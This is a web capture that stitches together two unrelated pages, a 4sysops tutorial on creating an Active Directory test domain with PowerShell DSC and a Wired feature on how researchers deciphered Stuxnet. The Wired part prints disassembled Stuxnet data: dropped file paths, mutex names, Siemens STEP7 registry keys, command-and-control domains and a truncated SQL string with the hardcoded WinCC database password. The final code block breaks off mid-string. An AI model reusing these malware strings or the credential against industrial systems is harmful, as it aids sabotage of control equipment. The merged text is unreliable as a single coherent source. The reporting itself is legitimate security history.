With the help of PowerShell DSC, you can automate the creation of an Active
Directory domain. This includes promoting a member server to a domain
controller and creating users, groups, and containers. This can be
particularly helpful when you want to set up a test domain quickly.

**One Console for your virtual network**

**ControlUp**

**View of your virtual network - all hosts, VM servers and users, including
sessions and processes.**

**Download now\!**

Advertisement

<img src='img/Temp2_1665.png' width='345' height='250' />

  * About
  * Latest Posts

<img src='img/Temp2_1662.png' width='80' height='80' alt='Profile gravatar of
Adam Bertram' />

### Adam Bertram

Adam is a Microsoft Cloud and Datacenter Management Most Valuable
Profressional \(MVP\) who specializes in Windows PowerShell. You can reach
Adam at adamtheautomator.com or on Twitter at @adbertram.

Contents of this article

  * Prerequisites
  * Project scope
  * Defining Configuration Data
  * Creating the DSC configuration script

One of the most common components of any test environment is Active Directory
\(AD\). AD is a critical part of most environments and is one we need to
replicate as closely as possible to production in a test environment. Before
technologies like PowerShell Desired State Configuration \(DSC\) came along,
we had to copy the AD database over manually, bring up entirely new domain
controllers from scratch, and a lot of other hacks. Nowadays, we can invoke a
DSC configuration script that can bring up an entirely new AD domain in no
time\!

**Hyper-V Backup Solution**

**Vembu VM Backup**

**

  * Agentless
  * Application-aware
  * High performance backup
  * Changed Block Tracking \(CBT\)
**

**Download FREE version now\!**

Advertisement

<img src='img/Temp2_1655.png' width='375' height='250' />

## Prerequisites ^

To automate creating a test domain with DSC, we'll need to ensure we've got a
few prerequisites in place. First, we'll need an existing server \(physical or
virtual\) in a workgroup. Next, we'll need to make sure this server has at
least PowerShell v4 installed and preferably _v5_.

In the demonstration, we'll be creating the DSC configuration on another
machine and sending it to the server that will be our domain controller.
Although it's not necessary if performing the work locally, this computer will
need to be able to communicate with the soon-to-be domain controller via
Server Message Block \(SMB\).

Finally, you'll need to have the xActiveDirectory DSC module installed on the
server. You can download this by running the following:

1| Install-Module -Name xActiveDirectory  
---|---  
## Project scope ^

Creating an AD domain can mean a lot to many different people since it's such
a large topic. So let's scope our DSC configuration script down a bit. For
this article, we'll be:

  * Promoting a member server to a domain controller
  * Creating multiple groups
  * Creating multiple users
  * Creating multiple organizational units

This isn't, by far, everything that's possible. But with the framework down,
you can add additional objects to your DSC configuration script more easily
later.

## Defining Configuration Data ^

A best practice to use when creating any DSC configuration script is to
separate the actual configuration itself from the configuration data.
Configuration data can consist of any "static" values the code needs to
reference when running. In our case, it includes the domain name, group names,
organizational unit paths, and so on. The first task to tackle is defining all
of these values in a PSD1 file that contains a hash table with all the data we
need.

To expedite the process of creating this file, I've created an example you can
download from the _TestDomainCreator GitHub repository_.

Click To Expand Code

This file holds all the configuration item values we need to create a fully
functional AD domain.

## Creating the DSC configuration script ^

Next, we need to create the DSC configuration. We can break down this
configuration into the four topics I described above. Since we've already
created a separate configuration data file, we'll need to reference this
inside the DSC configuration script. We'll use the $ConfigurationData variable
automatically available in all DSC configuration scripts \(if using the
ConfigurationData parameter when invoking Start-DscConfiguration\).

You can download an _example script_ from GitHub. You'll see from the example
that the DSC configuration script is calling each of the AD objects we're
creating \(groups, organizational units, and users\). It then references the
appropriate DSC resource within the xActiveDirectory DSC module we downloaded
earlier.

The only section of the DSC configuration script that does not fit this mold
is when we're installing the appropriate Windows features and promoting the
server to a domain controller.

Click To Expand Code

Once you've downloaded the DSC configuration script and the configuration
data, and you've tweaked them to your liking, you can then create the MOF
file. After this, we can then invoke the file on the server.

12| . NewTestEnvironment.ps1NewTestEnvironment -ConfigurationData
C:\ConfigurationData.psd1  
---|---  
WARNING: The configuration 'NewTestEnvironment' is loading one or more built-
in resources without explicitly importing associated modules. Add Import-
DscResource –ModuleName 'PSDesiredStateConfiguration' to your configuration to
avoid this message.

123456|  Directory: C:\NewTestEnvironment Mode LastWriteTime Length Name\--\--
\--\--\--\--\--\--- \--\--\-- \--\---a\--\-- 5/21/2017 4:53 PM 16258 LABDC.mof  
---|---  
Above I'm creating the MOF file for the server I have called LABDC.

Once I've created the MOF file, I can then invoke the DSC configuration on my
remote server by running Start-DscConfiguration.

1| Start-DscConfiguration -Wait -Force -Path .\NewTestEnvironment -Credential
\(Get-Credential\) -Verbose  
---|---  
<img src='img/Temp2_1658.png' width='600' height='70' alt='Start
DscConfiguration' />

Start DscConfiguration

Notice that I'm using a credential. This is necessary because the server
you'll be running the DSC configuration script on will be in a workgroup.
Thus, you must provide an administrative username and password to make that
initial connection.

After finishing this process, you will then have a brand new AD domain running
on your server\!

**Take part in our competition and win $100\!**

<img src='img/favicon.png' width='16' height='16' alt='Share' />

1+

### Related Posts

WSUS reporting with PowerShell

Convert JSON with the PowerShell cmdlets ConvertFrom-Json and ConvertT...

WSUS reporting with PowerShell

0 Comments

### Leave a reply

Your email address will not be published. Required fields are marked \*

p

 __

Notify me of followup comments via e-mail

Name \*

Email \*

Website

#### Follow 4sysops

<img src='img/Temp2_1661.png' width='32' height='32' alt='Twitter' /> <img
src='img/Temp2_1673.png' width='32' height='32' alt='Facebook' /> <img
src='img/google-plus-small.gif' width='32' height='32' alt='Google Plus' />
<img src='img/Temp2_1672.png' width='32' height='32' alt='RSS' />

#### Recently Active Members

<img src='img/Temp2_1670.png' width='50' height='50' alt='Profile picture of
Michael Pietroforte' />

<img src='img/Temp2_1668.png' width='50' height='50' alt='Profile picture of
Paolo Maffezzoli' />

<img src='img/Temp2_1667.png' width='50' height='50' alt='Profile picture of
Karim Buzdar' />

<img src='img/22b4c491d86d99f6e29eee338b1f4cf9.jpg' width='50' height='50'
alt='Profile picture of Ray' />

<img src='img/Temp2_1666.png' width='50' height='50' alt='Profile picture of
Mike Taylor' />

<img src='img/Temp2_1664.png' width='50' height='50' alt='Profile picture of
Micah Rairdon' />

<img src='img/63fd76b831d828fc63f1801ee28e63b8.jpg' width='50' height='50'
alt='Profile picture of R3B00T' />

<img src='img/63fd76b831d828fc63f1801ee28e63b8.jpg' width='50' height='50'
alt='Profile picture of Leonard Granston' />

<img src='img/63fd76b831d828fc63f1801ee28e63b8.jpg' width='50' height='50'
alt='Profile picture of Daniel Duke' />

<img src='img/63fd76b831d828fc63f1801ee28e63b8.jpg' width='50' height='50'
alt='Profile picture of I Dolan' />

<img src='img/63fd76b831d828fc63f1801ee28e63b8.jpg' width='50' height='50'
alt='Profile picture of Chris Staten' />

<img src='img/63fd76b831d828fc63f1801ee28e63b8.jpg' width='50' height='50'
alt='Profile picture of Kjell' />

<img src='img/2a6d1e3a91e36830deac7b8857a7a93a.jpg' width='50' height='50'
alt='Profile picture of Carlos' />

<img src='img/Temp2_1656.png' width='50' height='50' alt='Profile picture of
Josh Rickard' />

<img src='img/208c50d734b45b2906496cab7a020447.png' width='50' height='50'
alt='Profile picture of David Figueroa' />

<img src='img/63fd76b831d828fc63f1801ee28e63b8.jpg' width='50' height='50'
alt='Profile picture of prakash shukla' />

<img src='img/Temp2_1653.png' width='50' height='50' alt='Profile picture of
Jason Coltrin' />

<img src='img/Temp2_1660.png' width='50' height='50' alt='Profile picture of
John Rispoli' />

<img src='img/63fd76b831d828fc63f1801ee28e63b8.jpg' width='50' height='50'
alt='Profile picture of Glyn' />

<img src='img/63fd76b831d828fc63f1801ee28e63b8.jpg' width='50' height='50'
alt='Profile picture of Douglas Camus' />

<img src='img/Temp2_1659.png' width='50' height='50' alt='Profile picture of
Alex Chaika' />

#### Subscribe to Newsletter

You can unsubscribe any time.

Name

Email \*

#### Site Wide Activities \[RSS\]

Viewing 1 - 8 of 8 items

  * <img src='img/Temp2_1652.png' width='50' height='50' alt='Profile picture of Paolo Maffezzoli' />
Paolo Maffezzoli posted an update 1 hour, 2 minutes ago

In a throwback to the 90s, NTFS bug lets anyone hang or crash Windows 7, 8.1 | Ars Technica UK
It turns out that Windows 7 and 8.1 \(and Windows Vista, but that's out of
support anyway\) have a similar kind of bug. They can be taken advantage of in
the same kind of way: certain bad filenames make the system lock up or
occasionally crash with a blue screen of death, and malicious webpages can
embed those filenames by using them as image sources. If you visit such a page
\(in any browser\), your PC will hang shortly after and possibly crash
outright.

0

  * <img src='img/Temp2_1652.png' width='50' height='50' alt='Profile picture of Paolo Maffezzoli' />
Paolo Maffezzoli posted an update 1 hour, 12 minutes ago

Microsoft Offers More Advice on Disabling Windows SMB 1 -- Redmondmag.com

<img src='img/Temp2_1669.png' width='272' height='189' alt='Microsoft Offers
More Advice on Disabling Windows SMB 1 -- Redmondmag.com' />

Microsoft's position on Server Message Block version 1 in Windows systems is
that organizations should just get rid of it.

0

  * <img src='img/Temp2_1663.png' width='50' height='50' alt='Profile picture of Karim Buzdar' />
Karim Buzdar replied to the topic ADMT.Migration.1: Unable to connect to
domain "mysourcedomain". The spec in the forum IT Administration Forum 2
hours, 19 minutes ago

Yes,

0

  * <img src='img/Temp2_1651.png' width='50' height='50' alt='Profile picture of Michael Pietroforte' />
Michael Pietroforte replied to the topic ADMT.Migration.1: Unable to connect
to domain "mysourcedomain". The spec in the forum IT Administration Forum 6
hours, 32 minutes ago

Strange. Maybe next time you try PowerShell. VBscript is dying.

0

  * <img src='img/Temp2_1652.png' width='50' height='50' alt='Profile picture of Paolo Maffezzoli' />
Paolo Maffezzoli posted an update 23 hours, 10 minutes ago

Windows 10 Creators Update: Microsoft's latest update fixes a load of bugs | ZDNet
<img src='img/Temp2_1657.png' width='272' height='204' alt='Windows 10 Creators Update: Microsoft's latest update fixes a load of bugs | ZDNet' />
A new cumulative update for the Windows 10 Creators Update addresses 14 bugs
affecting the browser, peripherals, and third-party messaging apps.

0

  * <img src='img/Temp2_1654.png' width='50' height='50' alt='Profile picture of Adam Bertram' />
Adam Bertram wrote a new post, Creating an Active Directory domain with
PowerShell DSC 1 day, 6 hours ago

With the help of PowerShell DSC, you can automate the creation of an Active
Directory domain. This includes promoting a member server to a domain
controller and creating users, groups, and containers. This can be
particularly helpful when you want to set up a test domain quickly.

<img src='img/Temp2_1671.png' width='272' height='32' />

0

  * Marc van Gorp commented on PowerShell integration tests with Pester 1 day, 8 hours ago
Hi Ben,

My personal best practice is to explicitly verify every change I make directly
in the PowerShell script itself.

So when I change a registry key my next step is to read that registry key and
validate if the retrieved result matches the expected result. If this isn't
the situation my script will generate an error or warning depending on the
impact.

My question: Should I remove these explicit checks from my scripts and create
a Pester test for this, and if so, why?

0

  * <img src='img/Temp2_1663.png' width='50' height='50' alt='Profile picture of Karim Buzdar' />
Karim Buzdar replied to the topic ADMT.Migration.1: Unable to connect to
domain "mysourcedomain". The spec in the forum IT Administration Forum 1 day,
16 hours ago

So I carefully checked, the users were already migrated in the target OU
despite the error. Look like some bug in ADMT.

0

  

# How Digital Detectives Deciphered Stuxnet, the Most Menacing Malware in History | Threat Level | Wired.com
**Created:**| _7/15/2011 2:50:09 PM_  
---|---  
**Updated:**| _7/15/2011 2:50:09 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis History_  
  

# How Digital Detectives Deciphered Stuxnet, the Most Menacing Malware in
History

  * By Kim Zetter <img src='img/Temp2_3992.gif' width='14' height='11' alt='Email Author' />
  * July 11, 2011 | 
  * 7:00 am | 
  * Categories: Stuxnet
  * 

<img src='img/Temp2_3993.gif' width='504' height='494' />

Satellite image of the Natanz nuclear enrichment plant in Iran taken in 2002
when it was still under construction. The image shows two cascade halls, in
the upper right corner, as they were being built deep underground. The hall on
the left, Hall A, is the only one currently operational and is the building
where centrifuges believed to have been damaged by Stuxnet in 2009 were
installed. _\(Photo: DigitalGlobe and Institute for Science and International
Security\)_

Also on Wired.com  
Stuxnet Timeline Shows Correlation Among Events

It was January 2010, and investigators with the International Atomic Energy
Agency had just completed an inspection at the uranium enrichment plant
outside Natanz in central Iran, when they realized that something was off
within the cascade rooms where thousands of centrifuges were enriching
uranium.

Natanz technicians in white lab coats, gloves and blue booties were scurrying
in and out of the “clean” cascade rooms, hauling out unwieldy centrifuges one
by one, each sheathed in shiny silver cylindrical casings.

Any time workers at the plant decommissioned damaged or otherwise unusable
centrifuges, they were required to line them up for IAEA inspection to verify
that no radioactive material was being smuggled out in the devices before they
were removed. The technicians had been doing so now for more than a month.

“We were not immune to the fact that there was a bigger geopolitical picture
going on. We were definitely thinking … do I really want my name to be put on
this?” – Eric Chien

Normally Iran replaced up to 10 percent of its centrifuges a year, due to
material defects and other issues. With about 8,700 centrifuges installed at
Natanz at the time, it would have been normal to decommission about 800 over
the course of the year.

But when the IAEA later reviewed footage from surveillance cameras installed
outside the cascade rooms to monitor Iran’s enrichment program, they were
stunned as they counted the numbers. The workers had been replacing the units
at an incredible rate — later estimates would indicate between 1,000 and 2,000
centrifuges were swapped out over a few months.

The question was, why?

Iran wasn’t required to disclose the reason for replacing the centrifuges and,
officially, the inspectors had no right to ask. Their mandate was to monitor
what happened to nuclear material at the plant, not keep track of equipment
failures. But it was clear that something had damaged the centrifuges.

What the inspectors didn’t know was that the answer they were seeking was
hidden all around them, buried in the disk space and memory of Natanz’s
computers. Months earlier, in June 2009, someone had silently unleashed a
sophisticated and destructive digital worm that had been slithering its way
through computers in Iran with just one aim — to sabotage the country’s
uranium enrichment program and prevent President Mahmoud Ahmadinejad from
building a nuclear weapon.

But it would be nearly a year before the inspectors would learn of this. The
answer would come only after dozens of computer security researchers around
the world would spend months deconstructing what would come to be known as the
most complex malware ever written — a piece of software that would ultimately
make history as the world’s first real cyberweapon.

<img src='img/Temp2_3987.gif' />

  

<img src='img/Temp2_3986.gif' width='450' height='241' />

Iranian President Mahmoud Ahmadinejad observes computer monitors at the Natanz
uranium enrichment plant in central Iran, where Stuxnet was believed to have
infected PCs and damaged centrifuges. _\(Photo: Office of the Presidency of
the Islamic Republic of Iran\)_

[code]

     aS7tgtopx_exe:
                     unicode 0, <s7tgtopx.exe>,0
                     align 4
     aSystemrootInf_:
                     unicode 0, <%SystemRoot%\inf\*.pnf>,0
                     align 4
     aSystemrootInfM:
                     unicode 0, <%SystemRoot%\inf\mdmeric3.PNF>,0
     aSystemrootIn_0:
                     unicode 0, <%SystemRoot%\inf\mdmcpq3.PNF>,0
                     align 10h
     aSystemrootSyst:
                     unicode 0, <%SystemRoot%\system32\Drivers\mrxcls.sys>,0
                     align 8
     aSystemrootSy_0:
                     unicode 0, <%SystemRoot%\system32\Drivers\mrxsmb.sys;%SystemRoot%\sys>
                     unicode 0, <tem32\Drivers\*.sys>,0
                     align 8
     aSystemrootSy_1:
                     unicode 0, <%SystemRoot%\system32\Drivers\_mrxnet.sys_ >,0
                     align 4
     aMrxcls:
                     unicode 0, <MRxCls>,0
                     align 10h
     aSystemCurrentc:
                     unicode 0, <SYSTEM\CurrentControlSet\Services\>,0
                     align 4
                     unicode 0, <\>,0
     aImagepath:
                     unicode 0, <ImagePath>,0
     a_sys:
                     unicode 0, <.sys>,0
                     align 4
     a??:
                     unicode 0, <\??\>,0
                     align 4
     aGlobalWkssvcsh:
                     unicode 0, <Global\WkssvcShutdownEvent>,0
                     align 10h
     aGlobalSpooler_:
                     unicode 0, <Global\Spooler_Perf_Library_Lock_PID_01F>,0
                     align 8
     aSpooler_perf_l:
                     unicode 0, <Spooler_Perf_Library_Lock_PID_01F>,0
                     align 10h
     aGlobal5ec171bb:
                     unicode 0, <Global\{5EC171BB-F130-4a19-B782-B6E655E091B2}>,0
                     align 10h
    
[/code]

[code]

     aGlobalCaa6bd26:
                     unicode 0, <Global\{CAA6BD26-6C7B-4af0-95E2-53DE46FDDF26}>,0
                     align 10h
     aGlobal4a9a9fa4:
                     unicode 0, <Global\{4A9A9FA4-5292-4607-B3CB-EE6A87A008A3}>,0
                     align 10h
     aGlobalE41362c3:
                     unicode 0, <Global\{E41362C3-F75C-4ec2-AF49-3CB6BCA591CA}>,0
                     align 10h
     aGlobal85522152:
                     unicode 0, <Global\{85522152-83BF-41f9-B17D-324B4DFC7CC3}>,0
                     align 10h
     aGlobalB2fac8dc:
                     unicode 0, <Global\{B2FAC8DC-557D-43ec-85D6-066B4FBC05AC}>,0
                     align 10h
                     dd 1, 3, 2 dup(0)
                     dd 1, 0
                     dd 2, 2 dup(0)
                     dd 3, 2, 4F0053h, 540046h, 410057h, 450052h, 53005Ch, 450049h
                     dd 45004Dh, 53004Eh, 57005Ch, 6E0069h, 430043h, 53005Ch
                     dd 740065h, 700075h, 0
     aStep7_version:
                     unicode 0, _< STEP7_Version>_,0
     aSoftwareSiemen:
                     unicode 0, _< SOFTWARE\SIEMENS\STEP7>_,0
                     align 8
     aSoftwareMicr_4:
                     unicode 0, <SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulatio>
                     unicode 0, <n>,0
                     align 10h
     aNtvdmTrace:
                     unicode 0, <NTVDM TRACE>,0
                     dd offset dword_100335D8+0CA4h
                     dd offset dword_10001000+9Fh
                     dd offset dword_10008B7C+11DDh
                     dd offset dword_10008B7C+11E1h
                     dd offset dword_10008B7C+11E5h
                     dd 7574732Eh, 62h, 3Ah, 4D002Eh, 500043h, 0
                     dd 5037532Eh, 0
     aStgopenstorage db 'StgOpenStorage',0
                     align 4
     aOle32_dll      db 'ole32.dll',0
                     align 4
     aCcprojectmgr_e db 'CCProjectMgr.exe',0
                     align 4
     aMsvcrt_dll     db 'msvcrt.dll',0
                     align 4
     aMfc42_dll      db 'mfc42.dll',0
                     align 4
     aCreatefilea    db 'CreateFileA',0
     aKernel32_dll   db 'kernel32.dll',0
                     align 10h
     aS7apromx_dll   db 's7apromx.dll',0
                     align 10h
    
[/code]

On June 17, 2010, Sergey Ulasen was in his office in Belarus sifting through
e-mail when a report caught his eye. A computer belonging to a customer in
Iran was caught in a reboot loop — shutting down and restarting repeatedly
despite efforts by operators to take control of it. It appeared the machine
was infected with a virus.

Ulasen heads an antivirus division of a small computer security firm in Minsk
called VirusBlokAda. Once a specialized offshoot of computer science, computer
security has grown into a multibillion-dollar industry over the last decade
keeping pace with an explosion in sophisticated hack attacks and evolving
viruses, Trojan horses and spyware programs.

The best security specialists, like Bruce Schneier, Dan Kaminsky and Charlie
Miller are considered rock stars among their peers, and top companies like
Symantec, McAfee and Kaspersky have become household names, protecting
everything from grandmothers’ laptops to sensitive military networks.

VirusBlokAda, however, was no rock star nor a household name. It was an
obscure company that even few in the security industry had heard of. But that
would shortly change.

“If I turn up dead and I committed suicide on Monday, I just want to tell you
guys, I’m not suicidal.” – Liam O Murchu

Ulasen’s research team got hold of the virus infecting their client’s computer
and realized it was using a “zero-day” exploit to spread. Zero-days are the
hacking world’s most potent weapons: They exploit vulnerabilities in software
that are yet unknown to the software maker or antivirus vendors. They’re also
exceedingly rare; it takes considerable skill and persistence to find such
vulnerabilities and exploit them. Out of more than 12 million pieces of
malware that antivirus researchers discover each year, fewer than a dozen use
a zero-day exploit.

In this case, the exploit allowed the virus to cleverly spread from one
computer to another via infected USB sticks. The vulnerability was in the LNK
file of Windows Explorer, a fundamental component of Microsoft Windows. When
an infected USB stick was inserted into a computer, as Explorer automatically
scanned the contents of the stick, the exploit code awakened and
surreptitiously dropped a large, partially encrypted file onto the computer,
like a military transport plane dropping camouflaged soldiers into target
territory.

It was an ingenious exploit that seemed obvious in retrospect, since it
attacked such a ubiquitous function. It was also one, researchers would soon
learn to their surprise, that had been used before.

VirusBlokAda contacted Microsoft to report the vulnerability, and on July 12,
as the software giant was preparing a patch, VirusBlokAda went public with the
discovery in a post to a security forum. Three days later, security blogger
Brian Krebs picked up the story, and antivirus companies around the world
scrambled to grab samples of the malware — dubbed Stuxnet by Microsoft from a
combination of file names \(.stub and MrxNet.sys\) found in the code.

As the computer security industry rumbled into action, decrypting and
deconstructing Stuxnet, more assessments filtered out.

It turned out the code had been launched into the wild as early as a year
before, in June 2009, and its mysterious creator had updated and refined it
over time, releasing three different versions. Notably, one of the virus’s
driver files used a valid signed certificate stolen from RealTek
Semiconductor, a hardware maker in Taiwan, in order to fool systems into
thinking the malware was a trusted program from RealTek.

Internet authorities quickly revoked the certificate. But another Stuxnet
driver was found using a second certificate, this one stolen from JMicron
Technology, a circuit maker in Taiwan that was — coincidentally or not –
headquartered in the same business park as RealTek. Had the attackers
physically broken into the companies to steal the certificates? Or had they
remotely hacked them to swipe the company’s digital certificate-signing keys?
No one knew.

“We rarely see such professional operations,” wrote ESET, a security firm that
found one of the certificates, on its blog. “This shows \[the attackers\] have
significant resources.”

In other ways, though, Stuxnet seemed routine and unambitious in its aims.
Experts determined that the virus was designed to target Simatic WinCC Step7
software, an industrial control system made by the German conglomerate Siemens
that was used to program controllers that drive motors, valves and switches in
everything from food factories and automobile assembly lines to gas pipelines
and water treatment plants.

Although this was new in itself — control systems aren’t a traditional hacker
target, because there’s no obvious financial gain in hacking them — what
Stuxnet did to the Simatic systems wasn’t new. It appeared to be simply
stealing configuration and design data from the systems, presumably to allow a
competitor to duplicate a factory’s production layout. Stuxnet looked like
just another case of industrial espionage.

Antivirus companies added signatures for various versions of the malware to
their detection engines, and then for the most part moved on to other things.

The story of Stuxnet might have ended there. But a few researchers weren’t
quite ready to let it go.

<img src='img/Temp2_3988.gif' />

<img src='img/Temp2_3996.gif' width='1000' height='667' />

Symantec's Liam O Murchu was the first to notice that Stuxnet was much more
complex and sophisticated than previously believed. _\(Photo: Jon
Snyder/Wired\)_

“Everything in it just made your hair stand up and go, _this is something we
need to look into_.” – Liam O Murchu

Researchers in Symantec’s offices in Europe and the United States were among
those who grabbed the code in July and created signatures for customers. But
once they had done this, the malware passed to Liam O Murchu in the company’s
Culver City, California office.

O Murchu is a 33-year-old Irishman and avid snowboarder with a lyrical accent
and crop of brown hair sculpted vertically in front like the lip of a
halfpipe. As manager of operations for Symantec Security Response, it was his
job to review significant malware threats to determine if they should be
analyzed in-depth.

Of the more than 1 million malicious files Symantec and other AV firms
received monthly, the majority were variations of already-known viruses and
worms. These were processed automatically without human intervention.
Algorithms searched the files for telltale strings of data or behavior to
identify the malware, then produced and pushed out signatures to antivirus
scanners on customer machines.

Malware containing zero-day exploits, however, were special and got examined
by hand. O Murchu passed Stuxnet to an engineer with no zero-day experience,
thinking it would be a good opportunity to train him. But as he tucked into
the code simultaneously himself, he realized it was much more complex than
he’d thought.

Several layers of masking obscured the zero-day exploit inside, requiring work
to reach it, and the malware was huge — 500k bytes, as opposed to the usual
10k to 15k. Generally malware this large contained a space-hogging image file,
such as a fake online banking page that popped up on infected computers to
trick users into revealing their banking login credentials. But there was no
image in Stuxnet, and no extraneous fat either. The code appeared to be a
dense and efficient orchestra of data and commands.

O Murchu’s interest was immediately piqued.

His first encounter with malware had been in 1996 when a fellow student at the
College of Dublin crafted a virus targeting the university’s network. On the
Ides of March, hundreds of terminals in the school’s computer labs locked
students out until they could answer 10 questions flashing on their screens.
Most were annoyed by the inconvenience, but O Murchu was fascinated by the
code and took it apart to see how it worked. It was part of his DNA to
deconstruct things. As a child, he’d been the kind of kid who, instead of
playing with a toy car, would tear it apart to map how the gears worked.

It was that curiosity that drove him to security.

After graduation from college, O Murchu worked briefly as a penetration tester
for a United States maker of internet kiosks, trying to break the kiosk’s
payment wall to see if he could get free internet access. The company hired
him just to run a few tests, but kept him and other testers on for three
months because they kept finding ways to break the system.

In 2002 he took a job with an antispam firm, which was gobbled up by Symantec
soon afterwards. O Murchu eventually transferred to the corporate giant’s
Culver City office, leaving Dublin for Southern California.

When you’ve seen as many viruses and worms as O Murchu has, you can glance at
a piece of malware and know instantly what it does — this one is a keystroke
logger, that one is a banking Trojan — and whether it was slapped together
sloppily, or carefully crafted and organized. Stuxnet was the latter. It
contained multiple components, all compartmentalized into different locations
to make it easy to swap out functions and modify the malware as needed.

What most stood out, though, was the way the malware hid those functions.
Normally, Windows functions are loaded as needed from a DLL file stored on the
hard drive. Doing the same with malicious files, however, would be a giveaway
to antivirus software. Instead, Stuxnet stored its decrypted malicious DLL
file only in memory as a kind of virtual file with a specially crafted name.

It then reprogrammed the Windows API — the interface between the operating
system and the programs that run on top of it — so that every time a program
tried to load a function from a library with that specially crafted name, it
would pull it from memory instead of the hard drive. Stuxnet was essentially
creating an entirely new breed of ghost file that would not be stored on the
hard drive at all, and hence would be almost impossible to find.

O Murchu had never seen this technique in all his years of analyzing malware.
“Even the complex threats that we see, the advanced threats we see, don’t do
this,” he mused during a recent interview at Symantec’s office.

Clues were piling up that Stuxnet was highly professional, and O Murchu had
only examined the first 5k of the 500k code. It was clear it was going to take
a team to tackle it. The question was, should they tackle it?

No one would have blamed Symantec for dropping Stuxnet at this point and
moving on to other things. The primary task of any antivirus firm is detection
— stopping infections before they occur and ridding already-infected systems
of malicious files. What malware does once it’s on a computer is secondary.

But Symantec felt an obligation to solve the Stuxnet riddle for its customers.
More than this, the code just seemed way too complex and sophisticated for
mere espionage. It was a huge adrenaline-rush of a puzzle, and O Murchu wanted
to crack it.

“Everything in it just made your hair stand up and go, _this is something we
need to look into_ ,” he said.

By the time O Murchu finished his initial assessment of the code, it was the
end of day Friday, so he sent an update to Symantec’s research team in Tokyo.
Symantec has labs in Europe, the United States and Japan, so that researchers
in different time zones are always available to jump on important threats,
handing them off to each other like tag-team wrestlers as the sun sets on one
office and rises over another.

The Tokyo team spent the weekend mapping Stuxnet’s components so they could
get a handle on what they were dealing with. On Monday, O Murchu picked up
where they’d left off, joined by Eric Chien, technical director of Symantec
Security Response, and Nicolas Falliere, a senior software engineer and code
analyst in Symantec’s Paris office.

They determined that each time Stuxnet infected a system, it “phoned home” to
one of two domains — www.mypremierfutbol.com and www.todaysfutbol.com hosted
on servers in Malaysia and Denmark — to report information about the infected
machines. This included the machine’s internal and external IP addresses, the
computer name, its operating system and version and whether Siemens Simatic
WinCC Step7 software, also known simply as Step7, was installed on the
machine. The command-and-control servers let the attackers update Stuxnet on
infected machines with new functionality or even install more malicious files
on systems.

The DNS providers for the two domains had already dead-lettered the incoming
traffic to prevent it from reaching the attackers. Symantec had a better idea.
The company contacted the providers and persuaded them to reroute any traffic
to a sinkhole — in this case, a computer dedicated to receiving hostile
traffic — that Symantec controlled. By Tuesday morning, Symantec was getting
reports from machines as Stuxnet infected them. The company shared the data
with other security firms.

Within a week of establishing the sinkhole, about 38,000 infected machines
were reporting in from dozens of countries. Before long, the number would
surpass 100,000. Stuxnet was spreading rapidly, despite signatures distributed
by antivirus firms to stop it.

As Chien and O Murchu mapped the geographical location of the infections, a
strange pattern emerged. Out of the initial 38,000 infections, about 22,000
were in Iran. Indonesia was a distant second, with about 6,700 infections,
followed by India with about 3,700 infections. The United States had fewer
than 400. Only a small number of machines had Siemens Step 7 software
installed – just 217 machines reporting in from Iran and 16 in the United
States.

The infection numbers were way out of sync with previous patterns of worldwide
infections — such as what occurred with the prolific Conficker worm — in which
Iran never placed high, if at all, in infection stats. South Korea and the
United States were always at the top of charts in massive outbreaks, which
wasn’t a surprise since they had the highest numbers of internet users. But
even in outbreaks centered in the Middle East or Central Asia, Iran never
figured high in the numbers. It was clear the Islamic Republic was at the
center of the Stuxnet infection.

The sophistication of the code, plus the fraudulent certificates, and now Iran
at the center of the fallout made it look like Stuxnet could be the work of a
government cyberarmy — maybe even a United States cyberarmy.

This made Symantec’s sinkhole an audacious move. In intercepting data the
attackers were expecting to receive, the researchers risked tampering with a
covert U.S. government operation. Asked recently if they were concerned about
this, Chien replied, “For us there’s no good guys or bad guys.” Then he paused
to reconsider. “Well, bad guys are people who are writing malicious code that
infects systems that can cause unintended consequences or intended
consequences.”

Whether the “bad guy” was the United States or one of its allies, the attack
was causing collateral damage to thousands of systems, and Symantec felt no
patriotic duty to preserve its activity. “We’re not beholden to a nation,”
Chien said. “We’re a multinational, private company protecting customers.”

The clock was ticking. All the researchers knew at this point was that Stuxnet
had a foothold on more than 100,000 computers, and they had no real idea what
it was doing to them.

“For the longest time we were thinking, well, maybe it just spread in Iran
because they didn’t have up-to-date security software, and that if this gets
over to the United States, some water-treatment plant or some train-control
system or anything could be affected,” Chien recalled recently. “So, really,
we were trying to find out, full steam ahead, what exactly does this thing
affect?”

<img src='img/Temp2_3994.gif' />

<img src='img/Temp2_3991.gif' width='480' height='auto' />

Eric Chien, of Symantec, said his company wasn't concerned that its
revelations about Stuxnet might have derailed a covert U.S. government
operation against Iran. _\(Photo: Jon Snyder/Wired\)_

“We were talking about blowing stuff up\!”  
\- Eric Chien

[code]

    aDeclare@tVarch:
                     unicode 0, <declare @t varchar(4000), @e int, @f int if exists (selec>
                     unicode 0, <t text from dbo.syscomments where id=object_id(N>
                     dw 27h
                     unicode 0, <[dbo].[MCPVREADVARPERCON]>
                     dw 27h
                     unicode 0, <)) select @t=rtrim(text) from dbo.syscomments c, dbo.syso>
                     unicode 0, <bjects o where o.id = c.id and c.id = object_id(N>
                     dw 27h
                     unicode 0, <[dbo].[MCPVREADVARPERCON]>
                     dw 27h
                     unicode 0, <) set @e=charindex(>
                     dw 27h
                     unicode 0, <,openrowset>
                     dw 27h
                     unicode 0, <,@t) if @e=0 set @t=right(@t,len(@t)-7) else begin set @f>
                     unicode 0, <=charindex(>
                     dw 27h
                     unicode 0, <sp_msforeachdb>
                     dw 27h
                     unicode 0, <,@t) if @f=0 begin set @t=left(@t,@e-1) set @t=right(@t,l>
                     unicode 0, <en(@t)-7)  end else select * from fail_in_order_to_return>
                     unicode 0, <_false end set @t=>
                     dw 27h
                     unicode 0, <alter >
                     dw 27h
                     unicode 0, <+@t+>
                     dw 27h
                     unicode 0, <,openrowset(>
                     dw 27h
                     dw 27h
                     unicode 0, <SQLOLEDB>
                     dw 27h
                     dw 27h
                     unicode 0, <,>
                     dw 27h
                     dw 27h
                     unicode 0, <Server=.\WinCC;uid=WinCCConnect;_pwd=2WSXcder_ >
                     dw 27h
                     dw 27h
                     unicode 0, <,>
                     dw 27h
                     dw 27h
                     unicode 0, <select 0;set IMPLICIT_TRANSACTIONS off;declare @z nvarcha>
                     unicode 0, <r(999);set @z=>
                     dw 27h
                     dw 27h
                     dw 27h
                     dw 27h
